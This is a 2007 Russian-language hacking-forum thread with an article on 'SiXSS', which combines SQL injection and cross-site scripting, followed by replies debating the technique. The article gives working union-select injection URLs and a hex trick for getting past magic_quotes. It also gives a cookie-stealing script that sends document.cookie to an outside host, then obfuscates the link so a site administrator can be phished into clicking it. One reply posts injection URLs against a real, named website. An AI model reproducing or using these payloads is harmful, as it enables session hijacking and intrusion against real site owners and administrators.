Авторские статьи SiXSS своими руками

Discussion in 'Статьи' started by Basurman, 23 Jul 2007.

  1. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Данная статья расчитана на тех, кто знаком с такими понятиями, как SQL Injection и XSS атака. Без понимания основ, к прочтению не рекомендуется. (SQL injection: http://forum.antichat.ru/thread43966.html XSS: http://forum.antichat.ru/thread44125.html)

    1. Введение
    Что же такое SiXSS? Это расшифровывается как SQL Injection Cross Site Scripting - комбинация SQL Inj и XSS атаки. Подразумевает под собой выполнение XSS атак через уязвимость скрипта к SQL Inj.

    2. Область применения
    Применяется этот тип атаки, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более. Подробно об этом написано здесь: http://www.securitylab.ru/analytics/216380.php
    (оно же здесь на античате: http://forum.antichat.ru/thread29763-sixss.html)

    Также применяется в тех случаях, когда кроме самой SQL injection, мы не можем ни подобрать имена таблиц (не у всех стоит, например, MySQL >5 с INFORMATION_SCHEMA), ни сделать, например, вывод в файл (masterhost). Здесь мы и заострим наше внимание.

    Кульминацией в обоих случаях будет являться применение новых технологии фишинга

    3. Теория использования (на примере MySQL)

    В языке SQL есть комманда union, которая используется для объединения двух запросов.
    Например:
    Code:
    http://site.net/test.php?id=-1+union+select+1,DATABASE(),3/*
    Кроме этого, union select дает возможность вывести в окно браузера произвольный текст. Этим
    мы и воспользуемся, написав в строке адреса следующую вещь:
    Code:
    http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*
    Готово. Должно выскочить окошко со словом SiXSS.
    Однако здесь мы можем столкнуться с двумя проблемами:
    а). Включенную функцию magic_quotes, которая обрежет нашу XSS.
    Обойти ее можно воспользовавшись тем, что MySQL позволяет переводить шестнадцатеричные значения вида 0хAB123456) в текст:
    Code:
    mysql> select HEX('<script>alert("SiXSS");</script>');
    Получим значение: 3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E.
    Теперь наш запрос будет иметь вид:
    Code:
    http://site.net/test.php?id=-1+union+select+1,0x3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E,3/*
    б). Выключенный javascript (либо вообще, либо плугином к firefox - noscript)
    Что же делать, если отключена работа javascript? И тут мы опять вспоминаем, что union select позволяет вывести в окно браузера ПРОИЗВОЛЬНЫЙ текст. То есть HTML тоже. Другими словами, получается, что подделав HTML страницу со вводом пароля, мы можем отослать любую инфу нашему скрипту, находящемуся где-нибудь на просторах интернета

    4. Практика фишинга
    Итак, мы с вами нашли и проверили уязвимость, что же дальше?

    Просто попытаемся сунуть ссылку админу (например, посмотри пожалуйста, что происходит с сайтом?)
    Code:
    http://site.net/test.php?id=-1+union+select+1,<script>img=new Image();img.src="http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>,3/*
    
    Конечно, по такой ссылке он не пойдет. Поэтому приведем ее в божеский вид:
    Code:
    http://site.net/test.php?id=%2D%31%2B%75%6E%69%6F%6E%2B%73%65%6C%65%63%74%2B%31%2C0x3C7363726970743E696D673D6E657720496D61676528293B696D672E7372633D22687474703A2F2F6F6C642E616E7469636861742E72752F6367692D62696E2F732E6A70673F222B646F63756D656E742E636F6F6B69653B3C2F7363726970743E%2С%33%2F%2A
    
    Дальше методы впаривания ссылок админам расписывать не буду, так как об этом написано много статей с подробными примерами (скрипты-снифферы, поддельные странички и т.д.). Здесь будет работать уже ваша фантазия...

    5. Заключение
    В этой статье я лишь хотел продемонстироровать возможности такого типа атак как SiXSS. Примеры фишинга вы можете найти в статье "... и более продвинутые sql инъекции", ссылку на которую я давал в самом начале.

    Также хотелось бы обратить внимание на то, что SQL Injection даже в очень ограниченной среде способна привести к довольно печальным последствиям, если не уделять внимание безопасности своих сайтов.
     
    #1 Basurman, 23 Jul 2007
    Last edited: 24 Jul 2007
    7 people like this.
  2. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    На самом деле это всего лишь пассивная (!) xss, эффективность которой не так уж и велика) Если уж и использовать, то через iframe, а ещё лучше просто добить инъекцию)
     
    _________________________
    1 person likes this.
  3. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Заметь, Xss там, где ее быть не должно :) Что не может не радовать
    И не всегда можно инъекцию раскрыть (примеров полно)
     
  4. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    http://www.uprava.org/section.php?id=-1+union+select+1,'%3Cscript%3Ealert();%3C/script%3E',3,5,6,7,8/*

    http://www.uprava.org/section.php?id=-1+union+select+1,0x536e406b333a2049736973202d206c616d6572203d29,3,5,6,7,8/*

    это толе? я встречал типа такого phpISIXss =\ тырын-пырын-уруру
     
    2 people like this.
  5. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    В купе с этим вот получается непадецки :)
    http://forum.antichat.ru/thread22898.html
     
    1 person likes this.
  6. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Ну на самом деле не очень. Это просто одна из видов sql inj, и выделять это как отдельный вид атаки я бы даже не стал, да к тому же конструкция еще более громоздкая чем при использование обычного xss вектора. Итого: ничего нового и малоэффективно
     
    2 people like this.
  7. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Вообще про это уже давно написано было на секлабе, еще в 2005 году.
    Вот ссылка http://www.securitylab.ru/analytics/216380.php
    И где копирайты? Как минимум половина примеров и материалов отсюда:
    http://www.inattack.ru/article/535.html.
    А так имхо, не эффективно это и очень уж изощренно ;)
     
    1 person likes this.
  8. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Это сборная статья. на inattack был найден один из кусков материала. На секлаб ссылки есть (один в один причем). Также использованы материалы с xakep.ru + google

    Спасибо за критику, главное, что мне кажется, первый блин комом все таки не вышел.
    Есть куда двигаться и стремиться. Для наглядности могу раскрыть четвертый пункт чисто от себя.

    А основная цель все таки была не в том, чтобы описать новый способ атак, а "раскрыть" тему в рамках проекта античат. И абсолютно не в эффективности дело.

    P.S. Думаю, все же немного переделаю статью
     
    #8 Basurman, 24 Jul 2007
    Last edited: 24 Jul 2007
  9. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Впринципе тема с sixxs довольна стара. И не очень сложное всё это дело. Кстати, в большинстве случаев если запрос:
    Code:
    http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*
    выполняется, то и запрос
    Code:
    http://site.net/test.php?id="><script>alert("SiXSS")</script>
    выполнит то же самое. Но это так, небольшое логическое отступление.
     
    1 person likes this.
  10. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Сколько раз я находил sql-inj с выводом на экран того, что вбивается в адресную строку браузера, то в большинстве случаев пассивная XSS была возможна, если правильно составить запрос вида: <script>alert("XSS")</script> (закрыть необходимые теги для выполнения сценария).
     
    1 person likes this.
  11. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Смысл здесь в том, что у вас это работать не будет (в подавляющем больше случаев. У меня кстати тоже), если не

    1. юзать utf-7 (с этим я особо пока не заморачивался)
    2. переводить все в 0x. Однако здесь 2 проблемы: до кучи должна быть SQL inj, что не всегда имеется. Плюс, как и обозначено имеет маленькую эффективность.

    Но в итоге мы имеем альтернативу, хоть какую, первому способу, что в некоторй степени повышает шанс атаки
     
  12. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    тока во втором случае это будет уже не SiXSS, а просто xss через вывод ошибки (ErrXSS =)).. с тем, что это сработает в большинстве случаев, я не очень согласен..
     
  13. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    А я что написал?%)
    ну ясен перец что не сиксс ёпт. Я уже кучу сайтов видел где при сиксс выполняется код ксс
     
    1 person likes this.